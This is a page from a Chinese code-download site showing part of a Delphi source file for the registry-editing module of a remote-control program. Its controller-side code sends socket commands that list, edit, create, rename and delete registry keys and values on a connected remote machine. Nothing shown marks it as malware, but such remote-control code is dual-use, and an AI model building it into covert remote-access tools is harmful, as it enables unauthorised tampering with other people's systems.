⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitregistry.pas

📁 不错的远程控制程序
💻 PAS
📖 第 1 页 / 共 2 页
字号:
var
  Key: HKey;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not Assigned(ListView2.Selected) then Exit;
  if not SocketConnected then Exit;
  Key := Byte(ComboBox1.ItemIndex);
  if Key = 4 then Key := 5;
  if ListView2.Selected.Caption = '.' then
    CurrentKey := ''
  else if ListView2.Selected.Caption = '..' then
    CurrentKey := ExtractFilePath(Copy(CurrentKey, 1, Length(CurrentKey) - 1))
  else
    CurrentKey := CurrentKey + ListView2.Selected.Caption + '\';
  Label1.Caption := '根  键: ' + CurrentKey;
  Data := IntToStr(Key) + '|' + CurrentKey;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := R_LIST;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
  Main.SendStream(DataSocket, ReplyStream);
  ListView2.Clear;
  ListView1.Clear;
end;

procedure TRegistry.Modify1Click(Sender: TObject);
var
  Key: HKey;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  DataLen: dword;
  Data: string;
begin
  if not Assigned(ListView1.Selected) then Exit;
  if not SocketConnected then Exit;
  if ListView1.Selected.SubItems[0] = 'REG_BINARY' then
  begin
    BinaryModal.Edit1.Text := ListView1.Selected.Caption;
    if ListView1.Selected.SubItems[1] = '(大于0二进制值)' then
      BinaryModal.Memo1.Lines.Text := ''
    else
      BinaryModal.Memo1.Lines.Text := ListView1.Selected.SubItems[1];
    BinaryModal.BufferSize := 0;
    if BinaryModal.ShowModal <> mrOK then
    begin
      if Length(ListView1.Selected.SubItems[1]) = 0 then ListView1.Selected.Delete;
      Exit;
    end;
    if Length(BinaryModal.Memo1.Lines.Text) = 0 then
    begin
      if Length(ListView1.Selected.SubItems[1]) = 0 then ListView1.Selected.Delete;
      Exit;
    end;
    Key := Byte(ComboBox1.ItemIndex);
    if Key = 4 then Key := 5;
    Data := IntToStr(Key) + '|' + CurrentKey + '|' + ListView1.Selected.Caption;
    DataLen := Length(Data) + 1;
    CommandFrame.len := 12 + DataLen + BinaryModal.BufferSize;
    CommandFrame.Command := R_EDIT;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    ReplyStream.WriteBuffer(dword(ListView1.Selected.Data), 4);
    ReplyStream.WriteBuffer(DataLen, 4);
    ReplyStream.WriteBuffer(Pointer(Data)^, DataLen);
    ReplyStream.WriteBuffer(BinaryModal.BufferSize, 4);
    ReplyStream.WriteBuffer(Pointer(BinaryModal.Buffer)^, BinaryModal.BufferSize);
    Main.SendStream(DataSocket, ReplyStream);
    ListView1.Selected.SubItems[1] := DumpDataHex(BinaryModal.Buffer, BinaryModal.BufferSize);
    if BinaryModal.BufferSize = 0 then ListView1.Selected.SubItems[1] := '(大于0二进制值)';
  end
  else if ListView1.Selected.SubItems[0] = 'REG_SZ' then
  begin
    StringModal.Edit1.Text := ListView1.Selected.Caption;
    if ListView1.Selected.SubItems[1] = '(没有设置数值)' then
      StringModal.Edit2.Text := ''
    else
      StringModal.Edit2.Text := ListView1.Selected.SubItems[1];
    if StringModal.ShowModal <> mrOK then
    begin
      if Length(ListView1.Selected.SubItems[1]) = 0 then ListView1.Selected.Delete;
      Exit;
    end;
    if Length(StringModal.Edit2.Text) = 0 then
    begin
      if Length(ListView1.Selected.SubItems[1]) = 0 then ListView1.Selected.Delete;
      Exit;
    end;
    Key := Byte(ComboBox1.ItemIndex);
    if Key = 4 then Key := 5;
    Data := IntToStr(Key) + '|' + CurrentKey + '|' + ListView1.Selected.Caption;
    DataLen := Length(Data) + 1;
    CommandFrame.len := 12 + DataLen + dword(Length(StringModal.Edit2.Text)) + 1;
    CommandFrame.Command := R_EDIT;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    ReplyStream.WriteBuffer(dword(ListView1.Selected.Data), 4);
    ReplyStream.WriteBuffer(DataLen, 4);
    ReplyStream.WriteBuffer(Pointer(Data)^, DataLen);
    DataLen := Length(StringModal.Edit2.Text) + 1;
    ReplyStream.WriteBuffer(DataLen, 4);
    ReplyStream.WriteBuffer(Pointer(StringModal.Edit2.Text)^, DataLen);
    Main.SendStream(DataSocket, ReplyStream);
    ListView1.Selected.SubItems[1] := StringModal.Edit2.Text;
  end
  else if ListView1.Selected.SubItems[0] = 'REG_DWORD' then
  begin
    DWORDModal.Edit1.Text := ListView1.Selected.Caption;
    DWORDModal.Edit2.Text := ListView1.Selected.SubItems[1];
    if DWORDModal.ShowModal <> mrOK then
    begin
      if Length(ListView1.Selected.SubItems[1]) = 0 then ListView1.Selected.Delete;
      Exit;
    end;
    if Length(DWORDModal.Edit2.Text) = 0 then
    begin
      if Length(ListView1.Selected.SubItems[1]) = 0 then ListView1.Selected.Delete;
      Exit;
    end;
    Key := Byte(ComboBox1.ItemIndex);
    if Key = 4 then Key := 5;
    Data := IntToStr(Key) + '|' + CurrentKey + '|' + ListView1.Selected.Caption;
    DataLen := Length(Data) + 1;
    CommandFrame.len := 12 + DataLen + 4;
    CommandFrame.Command := R_EDIT;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    ReplyStream.WriteBuffer(dword(ListView1.Selected.Data), 4);
    ReplyStream.WriteBuffer(DataLen, 4);
    ReplyStream.WriteBuffer(Pointer(Data)^, DataLen);
    DataLen := SizeOf(dword);
    ReplyStream.WriteBuffer(DataLen, 4);
    if DWORDModal.RadioButton1.Checked then
      DataLen := StrToInt('$' + DWORDModal.Edit2.Text)
    else
      DataLen := StrToInt(DWORDModal.Edit2.Text);
    ReplyStream.WriteBuffer(DataLen, 4);
    Main.SendStream(DataSocket, ReplyStream);
    ListView1.Selected.SubItems[1] := IntToHex(DataLen, 8);
  end;
end;

procedure TRegistry.PopupMenu1Popup(Sender: TObject);
begin
  Refresh1.Visible := ComboBox1.Enabled and (ListView2.Items.Count <> 0);
  New1.Visible := ((not Assigned(ListView1.Selected)) and ComboBox1.Enabled and (ListView2.Items.Count <> 0));
  Modify1.Visible := (Assigned(ListView1.Selected) and ComboBox1.Enabled and (ListView2.Items.Count <> 0));
  Delete1.Visible := (Assigned(ListView1.Selected) and ComboBox1.Enabled and (ListView2.Items.Count <> 0));
  Rename1.Visible := (Assigned(ListView1.Selected) and ComboBox1.Enabled and (ListView2.Items.Count <> 0));
end;

procedure TRegistry.ListView1Edited(Sender: TObject; Item: TListItem; var S: string);
var
  Key: HKey;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not SocketConnected then Exit;
  Key := Byte(ComboBox1.ItemIndex);
  if Key = 4 then Key := 5;
  Data := IntToStr(Key) + '|' + CurrentKey + '|' + Item.Caption + '|' + S;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := R_RENAME;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
  Main.SendStream(DataSocket, ReplyStream);
end;

procedure TRegistry.Rename1Click(Sender: TObject);
begin
  if Assigned(ListView1.Selected) then ListView1.Selected.EditCaption;
end;

procedure TRegistry.Delete1Click(Sender: TObject);
var
  Key: HKey;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not Assigned(ListView1.Selected) then Exit;
  if not SocketConnected then Exit;
  Key := Byte(ComboBox1.ItemIndex);
  if Key = 4 then Key := 5;
  Data := IntToStr(Key) + '|' + CurrentKey + '|' + ListView1.Selected.Caption;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := R_DELETE;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
  Main.SendStream(DataSocket, ReplyStream);
  ListView1.Selected.Delete;
end;

procedure TRegistry.StringValue1Click(Sender: TObject);
var
  ListItem: TListItem;
begin
  if not SocketConnected then Exit;
  ListItem := ListView1.Items.Add;
  ListItem.Data := Pointer(REG_SZ);
  ListItem.Caption := '新建 #' + IntToStr(ListView1.Items.Count);
  ListItem.SubItems.Add('REG_SZ');
  ListItem.SubItems.Add('');
  ListView1.Selected := ListItem;
  Modify1Click(nil);
end;

procedure TRegistry.BinaryValue1Click(Sender: TObject);
var
  ListItem: TListItem;
begin
  if not SocketConnected then Exit;
  ListItem := ListView1.Items.Add;
  ListItem.Data := Pointer(REG_BINARY);
  ListItem.Caption := '新建 #' + IntToStr(ListView1.Items.Count);
  ListItem.SubItems.Add('REG_BINARY');
  ListItem.SubItems.Add('');
  ListView1.Selected := ListItem;
  Modify1Click(nil);
end;

procedure TRegistry.DWORDValue1Click(Sender: TObject);
var
  ListItem: TListItem;
begin
  if not SocketConnected then Exit;
  ListItem := ListView1.Items.Add;
  ListItem.Data := Pointer(REG_DWORD);
  ListItem.Caption := '新建 #' + IntToStr(ListView1.Items.Count);
  ListItem.SubItems.Add('REG_DWORD');
  ListItem.SubItems.Add('');
  ListView1.Selected := ListItem;
  Modify1Click(nil);
end;

procedure TRegistry.Key1Click(Sender: TObject);
var
  Key: HKey;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
  ListItem: TListItem;
begin
  if not SocketConnected then Exit;
  Key := Byte(ComboBox1.ItemIndex);
  if Key = 4 then Key := 5;
  Data := IntToStr(Key) + '|' + CurrentKey + '新建 #' + IntToStr(ListView2.Items.Count - 1);
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := R_NEWKEY;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
  Main.SendStream(DataSocket, ReplyStream);
  ListItem := ListView2.Items.Add;
  ListItem.Caption := '新建 #' + IntToStr(ListView2.Items.Count - 2);
end;

procedure TRegistry.Rename2Click(Sender: TObject);
begin
  if Assigned(ListView2.Selected) then ListView2.Selected.EditCaption;
end;

procedure TRegistry.ListView2Edited(Sender: TObject; Item: TListItem; var S: string);
var
  Key: HKey;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not SocketConnected then Exit;
  if Item.Caption = '.' then
  begin
    S := Item.Caption;
    Exit;
  end;
  if Item.Caption = '..' then
  begin
    S := Item.Caption;
    Exit;
  end;
  Key := Byte(ComboBox1.ItemIndex);
  if Key = 4 then Key := 5;
  Data := IntToStr(Key) + '|' + Copy(CurrentKey, 1, Length(CurrentKey) - 1) + '|' + Item.Caption + '|' + S;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := R_RENAMEKEY;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
  Main.SendStream(DataSocket, ReplyStream);
end;

procedure TRegistry.Delete2Click(Sender: TObject);
var
  Key: HKey;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not Assigned(ListView2.Selected) then Exit;
  if not SocketConnected then Exit;
  if ListView2.Selected.Caption = '.' then Exit;
  if ListView2.Selected.Caption = '..' then Exit;
  Key := Byte(ComboBox1.ItemIndex);
  if Key = 4 then Key := 5;
  Data := IntToStr(Key) + '|' + Copy(CurrentKey, 1, Length(CurrentKey) - 1) + '|' + ListView2.Selected.Caption;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := R_DELETEKEY;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
  Main.SendStream(DataSocket, ReplyStream);
  ListView2.Selected.Delete;
end;

procedure TRegistry.PopupMenu2Popup(Sender: TObject);
begin
  Delete2.Visible := False;
  Rename2.Visible := False;
  if not Assigned(ListView2.Selected) then Exit;
  if not ((ListView2.Selected.Caption = '.') or (ListView2.Selected.Caption = '..')) then
  begin
    Delete2.Visible := True;
    Rename2.Visible := True;
  end;
end;

procedure TRegistry.Refresh1Click(Sender: TObject);
var
  Key: HKey;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not SocketConnected then Exit;
  Key := Byte(ComboBox1.ItemIndex);
  if Key = 4 then Key := 5;
  Data := IntToStr(Key) + '|' + CurrentKey;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := R_LIST;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
  Main.SendStream(DataSocket, ReplyStream);
  ListView2.Clear;
  ListView1.Clear;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -